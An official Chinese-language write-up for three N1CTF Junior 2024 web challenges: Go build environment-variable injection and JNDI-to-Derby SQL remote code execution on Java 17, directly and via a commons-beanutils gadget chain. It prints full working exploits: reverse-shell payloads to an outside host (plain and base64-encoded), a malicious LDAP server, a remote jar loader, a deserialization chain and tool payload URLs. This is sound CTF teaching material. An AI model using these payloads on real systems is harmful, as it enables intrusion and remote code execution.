N1CTF Junior 2024 Web Official Writeup
MyGo
考察 Go build 环境变量注入
题目提供了一个交叉编译 Go 程序的功能, 在编译的时候只有环境变量可控, 所以思路就是通过控制环境变量实现 RCE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
var env []string
for k, v := range req["env"].(map[string]interface{}) {
env = append(env, fmt.Sprintf("%s=%s", k, v))
}
cmd := exec.Command("go", "build", "-o", "main", "main.go")
cmd.Env = append(os.Environ(), env...)
if err := cmd.Run(); err != nil {
c.JSON(http.StatusOK, gin.H{"error": "Build error"})
} else {
c.File("/tmp/build/main")
}
|
因为命令直接使用 exec.Command("go", "build", "-o", "main", "main.go")
运行, 所以不存在 Bash 上下文, 也就不存在 Bash 环境变量注入
因此只能从 go build 命令本身所使用的环境变量入手, 寻找可以命令注入的点
go 命令的相关环境变量可以使用 go env 查看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
GO111MODULE=''
GOARCH='arm64'
GOBIN=''
GOCACHE='/root/.cache/go-build'
GOENV='/root/.config/go/env'
GOEXE=''
GOEXPERIMENT=''
GOFLAGS=''
GOHOSTARCH='arm64'
GOHOSTOS='linux'
GOINSECURE=''
GOMODCACHE='/go/pkg/mod'
GONOPROXY=''
GONOSUMDB=''
GOOS='linux'
GOPATH='/go'
GOPRIVATE=''
GOPROXY='https://proxy.golang.org,direct'
GOROOT='/usr/local/go'
GOSUMDB='sum.golang.org'
GOTMPDIR=''
GOTOOLCHAIN='local'
GOTOOLDIR='/usr/local/go/pkg/tool/linux_arm64'
GOVCS=''
GOVERSION='go1.21.6'
GCCGO='gccgo'
AR='ar'
CC='gcc'
CXX='g++'
CGO_ENABLED='1'
GOMOD='/dev/null'
GOWORK=''
CGO_CFLAGS='-O2 -g'
CGO_CPPFLAGS=''
CGO_CXXFLAGS='-O2 -g'
CGO_FFLAGS='-O2 -g'
CGO_LDFLAGS='-O2 -g'
PKG_CONFIG='pkg-config'
GOGCCFLAGS='-fPIC -pthread -Wl,--no-gc-sections -fmessage-length=0 -ffile-prefix-map=/tmp/go-build685738299=/tmp/go-build -gno-record-gcc-switches
|
不难发现其中 CC 环境变量的值为 gcc, 猜测在 go build 的时候可能会调用 gcc 以完成部分编译流程, 因此可以尝试将 CC 的值替换成任意命令, 实现 RCE
至于为什么会用到 gcc, 原因是 Go 语言支持 CGO 特性, 即使用 Go 调用 C 的函数
https://zhuanlan.zhihu.com/p/349197066
编写一个使用 CGO 的 Go 程序需要引入 C 这个包, 即 import "C"
1
2
3
4
5
6
7
|
package main
import "C"
func main() {
println("hello cgo")
}
|
这样在 build 的时候就会调用 gcc
本地测试
1
|
CC='bash -c "id"' go build main.go
|

题目出网, 所以直接反弹 shell
1
2
3
4
5
6
7
8
9
10
11
12
|
POST /build HTTP/1.1
Host: 127.0.0.1:10800
Content-Length: 145
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
{"env":{"GOOS":"linux","GOARCH":"amd64","CGO_ENABLED":"1",
"CC":"bash -c 'bash -i >& /dev/tcp/host.docker.internal/4444 0>&1'"},"code":"package main\n\nimport \"C\"\n\nfunc main() {\n println(\"hello cgo\")\n}"}
|

然后注意题目环境不支持 CGO 的交叉编译, 因此必须保证 GOOS 和 GOARCH 与题目环境一致, 即 linux 和 amd64
最后, 对于这道题也可以进一步思考, 如果题目环境不出网, 如何带出 flag?
答案是使用 Go embed 特性, Go 语言在编译的时候会将被 embed 的文件一起打包到二进制程序内部
那么就可以先通过 CC 环境变量注入在 go build 时将 flag 写入 /tmp/build 目录, 即项目目录, 因为 Go embed 不能打包位于项目目录之外的文件
1
|
CC='bash -c "/readflag > /tmp/build/flag.txt"' go build main.go
|
然后 build 如下代码, 使用 //go:embed flag.txt
打包 flag.txt, 这一步不需要交叉编译
1
2
3
4
5
6
7
8
9
10
11
12
13
|
package main
import (
"fmt"
_ "embed"
)
//go:embed flag.txt
var s string
func main() {
fmt.Println(s)
}
|
最后下载编译好的二进制文件到本地, 查找 flag
1
|
strings main | grep ctfhub
|
Derby
考察 JNDI 注入在高版本 JDK 的绕过
题目直接给出了一个 JNDI 注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
package com.example.derby;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import javax.naming.Context;
import javax.naming.InitialContext;
@RestController
public class IndexController {
@RequestMapping("/")
public String index() {
return "hello derby";
}
@RequestMapping("/lookup")
public String lookup(@RequestParam String url) throws Exception {
Context ctx = new InitialContext();
ctx.lookup(url);
return "ok";
}
}
|
pom.xml 依赖
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>druid</artifactId>
<version>1.2.21</version>
</dependency>
<dependency>
<groupId>org.apache.derby</groupId>
<artifactId>derby</artifactId>
<version>10.14.2.0</version>
</dependency>
</dependencies>
|
环境特地使用了较新的 Java 17, 由于模块化的访问机制导致不能直接用 TemplatesImpl + Jackson 反序列化一把梭, 已有的 JNDI 利用工具就更不用说了
这道题的思路其实就是两篇文章:
https://tttang.com/archive/1405/
http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce
依赖给出了 Druid 连接池, 那么就可以使用 DruidDataSourceFactory 将 JNDI 注入转化为 JDBC 攻击
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" +
"$$\n";
String JDBC_USER = "root";
String JDBC_PASSWORD = "password";
ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
ref.add(new StringRefAddr("url", JDBC_URL));
ref.add(new StringRefAddr("username", JDBC_USER));
ref.add(new StringRefAddr("password", JDBC_PASSWORD));
ref.add(new StringRefAddr("initialSize", "1"));
ref.add(new StringRefAddr("init", "true"));
|
但是这道题没有 H2 的依赖, 只有 Derby ,如何实现 RCE?
众所周知关于 Derby 的 JDBC 攻击思路大都是通过主从复制 (slaveHost/slavePort) 实现反序列化
但这道题并不是考察主从复制, 更何况 JNDI 本身也能够反序列化, 没有意义
思路就是第二篇文章, 通过 Derby SQL 加载远程 jar, 再调用 jar 内的方法, 实现 RCE (仔细阅读 Derby 的官方文档也可以发现)
那么必须得有个执行 SQL 的点, 上面的 H2 在 JDBC URL 内有 INIT 参数, 但是 Derby 没有这样的参数
这步其实就需要大家仔细阅读 DruidDataSourceFactory 的源码, 或者 Druid 的官方文档, 不难发现存在 initConnectionSqls 参数

不过这些参数并不是写在 JDBC URL 里面, 而是跟上面的 driverClassName, url, username, password 一样, 写在 StringRefAddr 里面
StringRefAddr 只能传入字符串, 那么 initConnectionSqls 内的 SQL 语句就需要用分号分割
构造如下 payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
|
package com.example;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.util.ArrayList;
import java.util.List;
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) {
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
e.addAttribute("javaClassName", "foo");
try {
List<String> list = new ArrayList<>();
list.add("CALL SQLJ.INSTALL_JAR('http://host.docker.internal:8000/Evil.jar', 'APP.Evil', 0)");
list.add("CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Evil')");
list.add("CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'Evil.exec'");
list.add("CALL cmd('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}')");
Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null);
ref.add(new StringRefAddr("url", "jdbc:derby:webdb;create=true"));
ref.add(new StringRefAddr("init", "true"));
ref.add(new StringRefAddr("initialSize", "1"));
ref.add(new StringRefAddr("initConnectionSqls", String.join(";", list)));
e.addAttribute("javaSerializedData", SerializeUtil.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception exception) {
exception.printStackTrace();
}
}
}
}
|
准备一个 Evil.java
1
2
3
4
5
|
public class Evil {
public static void exec(String cmd) throws Exception {
Runtime.getRuntime().exec(cmd);
}
}
|
目录结构
1
2
3
4
5
6
|
$ tree .
.
└── src
└── Evil.java
2 directories, 1 file
|
编译 + 打包成 jar
1
2
|
javac src/Evil.java
jar -cvf Evil.jar -C src/ .
|
将 Evil.jar 使用 Web Server 托管, 然后启动 LDAP Server, 最后访问 url
1
|
http://127.0.0.1:10800/lookup?url=ldap://host.docker.internal:1389/a
|


这种通过 JNDI 实现 Derby SQL RCE 的方法被我集成到了 JNDIMap 里面
项目地址: https://github.com/X1r0z/JNDIMap
payload
1
2
3
4
5
6
7
8
9
|
# 1. 加载远程 jar 并创建相关存储过程 (会自动创建数据库)
ldap://127.0.0.1:1389/Druid/Derby/Install/<database>
# 2. 执行命令/原生反弹 Shell
ldap://127.0.0.1:1389/Druid/Derby/Command/<database>/open -a Calculator
ldap://127.0.0.1:1389/Druid/Derby/ReverseShell/<database>/ReverseShell/127.0.0.1/4444
# 3. 删除数据库以释放内存
ldap://127.0.0.1:1389/Druid/Derby/Drop/<database>
|
Derby Plus
这道题跟 Derby 的思路其实是一样的, 最终都是通过 JNDI 打 Derby SQL RCE
不同点在于这道题没有直接给出 JNDI 注入的点, 但是给出了 CB 链, 需要大家通过 CB 链构造一个 JNDI 注入
pom.xml 依赖
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>druid</artifactId>
<version>1.2.21</version>
</dependency>
<dependency>
<groupId>org.apache.derby</groupId>
<artifactId>derby</artifactId>
<version>10.14.2.0</version>
</dependency>
</dependencies>
|
当然还是那句话, 因为模块化的访问机制导致不能用 CB/Jackson + TemplatesImpl/JdbcRowSetImpl 一把梭
这道题考察的也是一个非常经典的位于 Java 标准库的利用链: LdapAttribute
https://xz.aliyun.com/t/9126
https://xz.aliyun.com/t/12910
https://blog.csdn.net/caiqiiqi/article/details/112602151
payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor constructor = clazz.getDeclaredConstructor(String.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance("name");
ReflectUtil.setFieldValue(obj, "baseCtxURL", "ldap://host.docker.internal:1389/");
ReflectUtil.setFieldValue(obj, "rdn", new CompositeName("a/b"));
BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add("1");
priorityQueue.add("1");
beanComparator.setProperty("attributeDefinition");
ReflectUtil.setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.serialize(priorityQueue)));
|
后续流程跟 Derby 题目一样